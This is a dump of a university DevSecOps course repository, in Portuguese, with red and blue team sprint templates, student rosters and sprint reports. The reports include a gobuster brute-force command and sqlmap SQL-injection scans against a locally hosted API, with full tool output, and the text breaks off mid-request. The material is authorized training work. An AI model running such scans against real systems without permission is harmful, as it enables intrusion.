├── .github └── ISSUE_TEMPLATE │ ├── Create sprint-3---blue-team.md │ ├── sprint-1---blue-team.md │ ├── sprint-1---red-team.md │ ├── sprint-2---blue-team.md │ ├── sprint-2---red-team-.md │ ├── sprint-3---red-team.md │ ├── sprint-4---red-team.md │ └── sprint-5---red-team.md ├── 2024.2 ├── readme.md ├── relatorio │ ├── Images │ │ ├── bandit_results.png │ │ ├── bandit_running.png │ │ ├── buffer_overflow.png │ │ ├── ddos.png │ │ ├── privilage_escalation.png │ │ ├── side_channel.png │ │ ├── trivy_results.png │ │ └── trivy_running.png │ ├── imagens │ │ └── sql_grupo3.png │ ├── sprint_1 │ │ ├── 180011472_Rodolfo_Neves.md │ │ ├── 190086971_Felipe_Direito.md │ │ ├── 190093625_MilenaAires.md │ │ ├── 211029147_Arthur_Viana.md │ │ ├── 211031833_Taynara_Marcellos.md │ │ ├── 211039250_Arthur_Grandao.md │ │ ├── Grupo2-RedTeam │ │ │ └── 211039439_Gabriel_Marques.md │ │ ├── grupo_2.md │ │ ├── grupo_3.md │ │ ├── grupo_4.md │ │ ├── image-1.png │ │ ├── image.png │ │ └── img_g2 │ │ │ ├── 211029666_test2.png │ │ │ ├── 211029666_test3.png │ │ │ ├── 211029666_test4.png │ │ │ ├── 211029666_test5.png │ │ │ ├── 21102966_test1.png │ │ │ ├── image1.png │ │ │ ├── image2.png │ │ │ ├── image3.png │ │ │ └── image4.png │ ├── sprint_2 │ │ ├── grupo_1.md │ │ ├── grupo_3.md │ │ └── grupo_4.md │ └── sprint_3 │ │ └── grupo_4.md └── url_mec_energia.txt ├── 2025.1 ├── EJ │ └── BlueTeam │ │ ├── artefatos │ │ ├── bandit-report.html │ │ └── gitleaks.md │ │ └── relatorios │ │ ├── sprint1.md │ │ └── sprint2.md ├── MEPA │ ├── BlueTeam │ │ └── relatorios │ │ │ ├── sprint1.md │ │ │ └── sprint2.md │ └── RedTeam │ │ ├── imagens │ │ ├── burpSuite01.png │ │ ├── burpSuite02.png │ │ └── burpSuite03.png │ │ └── relatorios │ │ └── sprint1.md ├── Tainacan │ ├── BlueTeam │ │ └── Relatorios │ │ │ └── sprint_2 │ │ │ └── Relatorio2.md │ └── RedTeam │ │ └── readme.md └── readme.md └── readme.md /.github/ISSUE_TEMPLATE/Create sprint-3---blue-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 3 – Blue Team 3 | about: SAST (Static Application Security Testing) para Docker 4 | title: Sprint 3 – Blue Team 5 | labels: blue-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # SAST (Static Application Security Testing) para Docker 11 | ## Descrição 12 | 13 | Deve ser implementado um SAST para Docker na pipeline, de modo que verifique vulnerabilidades nas configurações do container. É recomendado o [Trivy](https://trivy.dev) , mas pode se usado qualquer outro de acordo a preferência do grupo. 14 | 15 | ## Módulos do Try Hack Me 16 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity) 17 | 18 | ## Critérios de aceitação 19 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md .. 20 | 21 | ## Referências 22 | 1. [Trivy](https://github.com/aquasecurity/trivy) 23 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-1---blue-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 1 – Blue Team 3 | about: SAST (Static Application Security Testing) 4 | title: Sprint 1 – Blue Team 5 | labels: blue-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # SAST (Static Application Security Testing) 11 | ## Descrição 12 | 13 | Deve ser implementado um SAST na pipeline, de modo que verifique vulnerabilidades no código e nas configurações. 14 | 15 | ## Módulos do Try Hack Me 16 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity) 17 | 18 | ## Critérios de aceitação 19 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md .. 20 | 21 | ## Referências 22 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity) 23 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-1---red-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 1 – Red Team 3 | about: Exploit SQL Injection 4 | title: Sprint 1 – Red Team 5 | labels: red-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # SQL INJECTION 11 | ## Descrição 12 | 13 | A API deve ser testada para verificar se está vulnerável a ataques de SQL Injection. 14 | 15 | ## Módulos do Hack The Box 16 | 1. [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33) 17 | 2. [SQLMap Essentials](https://academy.hackthebox.com/module/details/58) 18 | 19 | 20 | ## Critérios de aceitação 21 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md). 22 | 23 | ## Referências 24 | 1. [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) 25 | 2. [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) 26 | 3. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) 27 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-2---blue-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 2 – Blue Team 3 | about: Secrets 4 | title: Sprint 2 – Blue Team 5 | labels: blue-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # Secrets 11 | ## Descrição 12 | 13 | Deve ser verificado o uso de informações sensíveis da pipeline, como API's, usuário ou senhas hardcoded e outras informações sensíveis. 14 | 15 | ## Módulos do Try Hack Me 16 | 1. [Security of the Pipeline](https://tryhackme.com/r/path/outline/devsecops) 17 | 18 | ## Critérios de aceitação 19 | 1. Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md .. 20 | 21 | ## Referências 22 | 1. [Security of the Pipeline](https://tryhackme.com/r/path/outline/devsecops) 23 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-2---red-team-.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: 'Sprint 2 – Red Team ' 3 | about: Exploit Broken Access Control 4 | title: Broken Access Control 5 | labels: red-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # Broken Access Control 11 | ## Descrição 12 | 13 | A API deve ser testada para verificar se está vulnerável a Broken Access Control. 14 | 15 | ## Módulos do Hack The Box 16 | 17 | 1. [Broken Authentication](https://academy.hackthebox.com/module/details/80) 18 | 19 | ## Critérios de aceitação 20 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md). 21 | 22 | ## Referências 23 | 24 | 1. [A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) 25 | 2. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) 26 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-3---red-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 3 – Red Team 3 | about: Exploit Server-Side Request Forgery (SSRF) 4 | title: Server-Side Request Forgery (SSRF) 5 | labels: red-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # Server-Side Request Forgery (SSRF) 11 | ## Descrição 12 | 13 | A API deve ser testada para verificar se está vulnerável a Server-Side Request Forgery (SSRF). 14 | 15 | ## Módulos do Hack The Box 16 | 17 | 1. [Server-side Attacks](https://academy.hackthebox.com/module/details/145) 18 | 19 | 20 | 21 | ## Critérios de aceitação 22 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md). 23 | 24 | ## Referências 25 | 26 | 1. [A10:2021 – Server-Side Request Forgery (SSRF)](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) 27 | 2. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) 28 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-4---red-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 4 – Red Team 3 | about: Exploit Insecure Direct Object References (IDOR) 4 | title: Insecure Direct Object References (IDOR) 5 | labels: red-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # Server-Side Request Forgery (SSRF) 11 | ## Descrição 12 | 13 | A API deve ser testada para verificar se está vulnerável a Insecure Direct Object References (IDOR). 14 | 15 | ## Módulos do Hack The Box 16 | 17 | 1. [ Insecure Direct Object References (IDOR)](https://academy.hackthebox.com/module/details/134) 18 | 19 | 20 | 21 | ## Critérios de aceitação 22 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md). 23 | 24 | ## Referências 25 | 26 | 1. [Testing for Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) 27 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/sprint-5---red-team.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Sprint 5 – Red Team 3 | about: Recommendations 4 | title: Recommendations 5 | labels: red-team 6 | assignees: '' 7 | 8 | --- 9 | 10 | # Server-Side Request Forgery (SSRF) 11 | ## Descrição 12 | 13 | A equipe deve entrar em contato com a equipe de desenvolvimento para apresentar as falhas encontradas, e ajudá-las a mitigá-las. 14 | 15 | ## Módulos do Hack The Box 16 | 17 | 1. [Documentation & Reporting](https://academy.hackthebox.com/module/details/162) 18 | 19 | ## Critérios de aceitação 20 | 21 | 1. Deve ser criado um relatório FINAL no diretório [semestre_atual]/relatorio/. 22 | 23 | ## Referências 24 | 25 | 1. [Reporting](https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/README) 26 | -------------------------------------------------------------------------------- /2024.2/readme.md: -------------------------------------------------------------------------------- 1 | # 2024.2 2 | 3 | ## Red Team Subgrupos 4 | 5 | ## Sub-grupo 1 6 | 1. **Taynara Cristina Ribeiro Marcellos** - 211031833 - [@TaynaraCris](https://github.com/TaynaraCris) 7 | 2. **Alex Gabriel** - 200056603 - [@Gabriel-Axl](https://github.com/Gabriel-Axl) 8 | 3. **Arthur de Melo Viana** - 211029147 - [@arthurmlv](https://github.com/arthurmlv) 9 | 4. **Arthur Grandão de Mello** - 211039250 - [@arthurgrandao](https://github.com/arthurgrandao) 10 | 11 | ## Sub-grupo 2 12 | 1. **Felipe Direito C. Macedo** - 190086971 - [@felipedireito](https://github.com/felipedireito) 13 | 2. **Gabriel Campello Marques** - 211039439 - [@G16C](https://github.com/G16C) 14 | 3. **Gustavo Roberto Silva de Melo** - 211039457 - [@gusrberto](https://github.com/gusrberto) 15 | 4. **Matheus Henrique Dos Santos** - 211029666 - [@mathonaut](https://github.com/mathonaut) 16 | 17 | ## Sub-grupo 3 18 | 1. **Mateus Fidelis Marinho Maia** - 200073184 - [@MatsFidelis](https://github.com/MatsFidelis) 19 | 2. **Pedro Lucas Garcia** - 190115548 - [@AlefMemTav](https://github.com/AlefMemTav) 20 | 3. **Pablo Guilherme de Jesus Batista Silva** - 200025791 - [@PabloGJBS](https://github.com/PabloGJBS) 21 | 4. **Rafael Brito Bosi Rodrigues** - 211029559 - [@strageunit28](https://github.com/strangeunit28) 22 | 23 | 24 | --- 25 | 26 | ## Blue Team 27 | 28 | 1. **Larissa Stéfane Barboza Santos** - 211039573 29 | 2. **Milena Beatriz Aires de Santana Dias** - 190093625 - [@miilenaaires](https://github.com/miilenaaires) 30 | 3. **Cainã Valença de Freitas** - 180014412 - [@freitasc](https://github.com/freitasc) 31 | 32 | -------------------------------------------------------------------------------- /2024.2/relatorio/Images/bandit_results.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/bandit_results.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/bandit_running.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/bandit_running.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/buffer_overflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/buffer_overflow.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/ddos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/ddos.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/privilage_escalation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/privilage_escalation.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/side_channel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/side_channel.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/trivy_results.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/trivy_results.png -------------------------------------------------------------------------------- /2024.2/relatorio/Images/trivy_running.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/trivy_running.png -------------------------------------------------------------------------------- /2024.2/relatorio/imagens/sql_grupo3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/imagens/sql_grupo3.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 1 - [TEMA] 2 | 3 | Este é um modelo que vai ser melhorado. -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/190086971_Felipe_Direito.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 1 - [Red Team] 2 | 3 | | Nome | Matrícula| Grupo | 4 | | -- | -- | -- | 5 | | Felipe Direito Corrieri de Macedo | 190086971 | Grupo 2 | 6 | 7 | 8 | ## Hack The Box 9 | Os estudos foram baseados nos módulos do Hack The Box. A seguir tenho o andamento de cada um deles: 10 | 11 | ![Modulos estudados](image.png) 12 | 13 | 14 | ## Ambiente MEC-Energia 15 | 16 | Os primeiros testes serão realizados no MEC-Energia, o clone do repositório e subir a aplicação da API localmente funcionou. 17 | 18 | 19 | ## Problemas encontrados 20 | 21 | - Docker-compose desatualizado o Makefile não funcionava devido ao comando (docker compose - sem hífen) não funcionar. 22 | - O problema já foi solucionado, graças à ajuda do Rodolfo =) 23 | - VirtualBox não inicia a VM. Apenas re-instalar o VirtualBox não solucionou. 24 | 25 | ![Erro VM](image-1.png) 26 | 27 | ## Próximos Passos 28 | 29 | - Resolver problemas da VirtualBox 30 | - Finalizar os módulos de estudos 31 | - Realizar os testes de SQLi com SQLMap -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/190093625_MilenaAires.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 1 - Trilha de Estudos Blue Team 2 | 3 | ## Introdução 4 | Para a primeira Sprint foi definida uma trila de estudos para introduzir o conteúdo e capacitação do time para executar as tarefas. A plataforma utilizada foi o [TryHackMe](https://tryhackme.com/r/dashboard), uma plataforma direcionada para cibersegurança utilizando laboratórios e exercícios. 5 | 6 | ## Introdução à Segurança Ofensiva 7 | 8 | Introduzindo o Blue Team o primeiro curso foi voltado para mostrar ambos os lados e entender como funciona a cibersegurança. Dentro desse curso há uma interface completa onde há uma máquina onde é possível testar os conhecimentos aprendidos, como por exemplo o Gobuster. 9 | 10 | O **Gobuster** é uma ferramenta de código aberto utilizada principalmente em testes de penetração e auditorias de segurança. Ela realiza ataques de força bruta para descobrir recursos ocultos em servidores web, como diretórios, arquivos, subdomínios e endpoints. Gobuster é rápido e eficiente porque trabalha diretamente com requisições HTTP, eliminando a necessidade de renderização de páginas. 11 | ``` 12 | gobuster -u http://fakebank.thm -w wordlist.txt dir 13 | ``` 14 | _No comando acima, -u é usado para indicar o site que estamos escaneando, -w pega uma lista de palavras para iterar e encontrar páginas ocultas._ 15 | 16 | Principais funcionalidades: 17 | - Descoberta de diretórios e arquivos: Identifica pastas e arquivos que podem estar ocultos ou desprotegidos no servidor. 18 | - Força bruta de subdomínios: Descobre subdomínios associados a um domínio específico. 19 | - Pesquisa em buckets de S3: Encontra buckets públicos ou mal configurados na AWS. 20 | 21 | É amplamente utilizado por profissionais de segurança para encontrar vulnerabilidades, verificar configurações inadequadas e explorar informações que podem ser usadas em ataques mais avançados. 22 | 23 | ## CI/CD and Build Security (Build Security) 24 | 25 | CI/CD (Continuous Integration/Continuous Deployment) é uma prática essencial no desenvolvimento de software moderno. Ela automatiza a integração, teste, entrega e implantação de software, permitindo que equipes entreguem funcionalidades rapidamente e com qualidade. Porém, essas pipelines podem introduzir riscos de segurança se não forem configuradas adequadamente. 26 | 27 | ### 1. O que é CI/CD? 28 | 29 | Continuous Integration (CI): 30 | - Desenvolvedores integram alterações de código em um repositório central com frequência. 31 | - O código é automaticamente verificado, testado e validado por meio de ferramentas. 32 | - Reduz conflitos de integração e permite detectar problemas cedo. 33 | 34 | Continuous Deployment (CD): 35 | - Automatiza a implantação de alterações aprovadas diretamente em ambientes de produção. 36 | - Minimiza a intervenção humana e acelera o ciclo de entrega. 37 | 38 | 39 | ### 2. Benefícios do CI/CD 40 | - Redução de erros manuais no processo de integração e entrega. 41 | - Entregas rápidas e consistentes de novas funcionalidades. 42 | - Feedback rápido sobre a qualidade do código. 43 | - Melhoria da colaboração entre equipes. 44 | 45 | ### 3. Segurança no Contexto de CI/CD 46 | Build Security, ou segurança em builds, refere-se à proteção do pipeline de CI/CD e do código contra vulnerabilidades e ataques. A pipeline pode se tornar um vetor de ataque se: 47 | - Configurações de segurança inadequadas forem utilizadas. 48 | - Ferramentas ou dependências desatualizadas estiverem presentes. 49 | - Secrets (segredos, como tokens e senhas) forem mal gerenciados. 50 | 51 | ### 4. Principais Riscos de Segurança na Pipeline CI/CD 52 | Exposição de Secrets: 53 | - Credenciais mal armazenadas nos repositórios ou nos pipelines. 54 | - Vazamento de chaves de API ou tokens de acesso. 55 | 56 | Ataques de Supply Chain: 57 | - Dependências de terceiros comprometidas. 58 | - Modificação maliciosa de bibliotecas externas. 59 | 60 | Execução Não Autorizada: 61 | - Scripts maliciosos ou não verificados sendo executados na pipeline. 62 | - Injeção em Variáveis de Ambiente: 63 | - Manipulação de variáveis que podem afetar a execução do código. 64 | 65 | Artefatos Não Verificados: 66 | - Deploy de builds sem validação ou com vulnerabilidades conhecidas. 67 | 68 | ### 5. Práticas de Segurança para CI/CD 69 | 70 | #### 5.1. Segurança na Integração Contínua (CI): 71 | - Análise Estática de Código (SAST): Use ferramentas como SonarQube, Semgrep ou Checkmarx para verificar vulnerabilidades no código. 72 | - Análise de Dependências (SCA): Ferramentas como Snyk, Dependabot ou OWASP Dependency-Check ajudam a identificar pacotes vulneráveis. 73 | - Revisão de Código Automatizada: Configure revisões obrigatórias e automáticas antes de aprovar alterações para a branch principal. 74 | 75 | #### 5.2. Segurança na Entrega Contínua (CD): 76 | - Verificação de Artefatos: Assegure que apenas builds assinados e verificados sejam promovidos entre ambientes. Use assinaturas digitais para autenticar artefatos. 77 | - Ambientes Isolados: Configure ambientes segregados para desenvolvimento, teste e produção. 78 | - Deploy Canary: Implante alterações para uma pequena parcela de usuários antes do rollout completo. 79 | 80 | ### 6. Protegendo a Infraestrutura do CI/CD 81 | Controle de Acesso: 82 | - Adote o princípio de privilégio mínimo (least privilege). 83 | - Use autenticação multifator (MFA) para acessar os sistemas de CI/CD. 84 | 85 | Segurança na Pipeline: 86 | - Configure triggers e aprovações manuais para deploys críticos. 87 | - Monitore o histórico de execuções e altere permissões regularmente. 88 | 89 | Segurança dos Runners/Agentes: 90 | - Use runners dedicados para builds críticos. 91 | - Mantenha os agentes atualizados com os últimos patches de segurança. 92 | 93 | Auditoria e Logs: 94 | - Habilite auditorias completas e logging para detectar acessos não autorizados ou anomalias. 95 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/211029147_Arthur_Viana.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 1 - SQL Injection e SQLMap 2 | 3 | ## Arthur de Melo Viana - 211029147 4 | 5 | Após configurar o Kali Linux no VMWare, subi os contêineres da API e do WEB e fiz a integração. Contudo, para os testes realizados com o SQLMap, utilizei apenas do back-end. 6 | Os testes realizados, como precisavam de autenticação, foram feitos em cima de um header capturado por meio da ferramenta OWASP Zap ao realizar login no Browser Mozilla Firefox. 7 | 8 | ### api/universities/ 9 | 10 | Header (request.txt): 11 | 12 | ``` 13 | GET http://localhost:8000/api/universities/ HTTP/1.1 14 | host: localhost:8000 15 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 17 | Accept-Language: en-US,en;q=0.5 18 | Connection: keep-alive 19 | Cookie: csrftoken=xkZ6wrqgni2vgRMBamztJRNqegkN7oIp; sessionid=es1hh1ya7kznolvjmub5l4c9nmsjw7ro 20 | Upgrade-Insecure-Requests: 1 21 | ``` 22 | 23 | Comando utilizado: sqlmap -r request.txt --batch 24 | 25 | Output: 26 | ``` 27 | [*] starting @ 11:13:39 /2024-11-27/ 28 | 29 | [11:13:39] [INFO] parsing HTTP request from 'request.txt' 30 | [11:13:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' 31 | do you want to try URI injections in the target URL itself? [Y/n/q] Y 32 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N 33 | [11:13:40] [INFO] testing connection to the target URL 34 | [11:13:40] [INFO] testing if the target URL content is stable 35 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y 36 | [11:13:40] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' 37 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C 38 | [11:13:40] [INFO] testing if URI parameter '#1*' is dynamic 39 | got a 301 redirect to 'http://localhost:8000/api/universities/5831/'. Do you want to follow? [Y/n] Y 40 | [11:13:41] [WARNING] URI parameter '#1*' does not appear to be dynamic 41 | [11:13:41] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 42 | [11:13:41] [INFO] testing for SQL injection on URI parameter '#1*' 43 | [11:13:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 44 | [11:13:42] [WARNING] reflective value(s) found and filtering out 45 | [11:13:44] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 46 | [11:13:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 47 | [11:13:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 48 | [11:13:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 49 | [11:13:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 50 | [11:13:48] [INFO] testing 'Generic inline queries' 51 | [11:13:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 52 | [11:13:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 53 | [11:13:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 54 | [11:13:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 55 | [11:13:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 56 | [11:13:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 57 | [11:13:51] [INFO] testing 'Oracle AND time-based blind' 58 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y 59 | [11:13:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 60 | [11:13:53] [WARNING] URI parameter '#1*' does not seem to be injectable 61 | [11:13:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 62 | [11:13:53] [WARNING] HTTP error codes detected during run: 63 | 404 (Not Found) - 10 times, 500 (Internal Server Error) - 4 times 64 | 65 | [*] ending @ 11:13:53 /2024-11-27/ 66 | ``` 67 | Comando utilizado: sqlmap -r request.txt --batch --level=5 --risk=3 68 | Output: 69 | ``` 70 | [*] starting @ 11:24:38 /2024-11-27/ 71 | 72 | [11:24:38] [INFO] parsing HTTP request from 'request.txt' 73 | [11:24:38] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' 74 | do you want to try URI injections in the target URL itself? [Y/n/q] Y 75 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N 76 | [11:24:38] [INFO] testing connection to the target URL 77 | [11:24:38] [INFO] testing if the target URL content is stable 78 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y 79 | [11:24:38] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' 80 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C 81 | [11:24:38] [INFO] testing if URI parameter '#1*' is dynamic 82 | got a 301 redirect to 'http://localhost:8000/api/universities/5742/'. Do you want to follow? [Y/n] Y 83 | [11:24:39] [WARNING] URI parameter '#1*' does not appear to be dynamic 84 | [11:24:39] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 85 | [11:24:39] [INFO] testing for SQL injection on URI parameter '#1*' 86 | [11:24:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 87 | [11:24:40] [WARNING] reflective value(s) found and filtering out 88 | [11:24:40] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 89 | [11:24:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 90 | [11:24:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 91 | [11:24:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 92 | [11:24:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 93 | [11:24:41] [INFO] testing 'Generic inline queries' 94 | [11:24:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 95 | [11:24:42] [WARNING] time-based comparison requires larger statistical model, please wait................ (done) 96 | [11:24:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 97 | [11:24:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 98 | [11:24:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 99 | [11:24:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 100 | [11:24:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 101 | [11:24:43] [INFO] testing 'Oracle AND time-based blind' 102 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y 103 | [11:24:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 104 | [11:24:44] [WARNING] URI parameter '#1*' does not seem to be injectable 105 | [11:24:44] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 106 | [11:24:44] [WARNING] HTTP error codes detected during run: 107 | 404 (Not Found) - 3 times, 500 (Internal Server Error) - 1 times 108 | 109 | [*] ending @ 11:24:44 /2024-11-27/ 110 | ``` 111 | 112 | ### /api/university-user/ 113 | Header (request.txt): 114 | 115 | ``` 116 | GET http://localhost:8000/api/university-user/ HTTP/1.1 117 | host: localhost:8000 118 | User-Agent: Mozilla/5.0 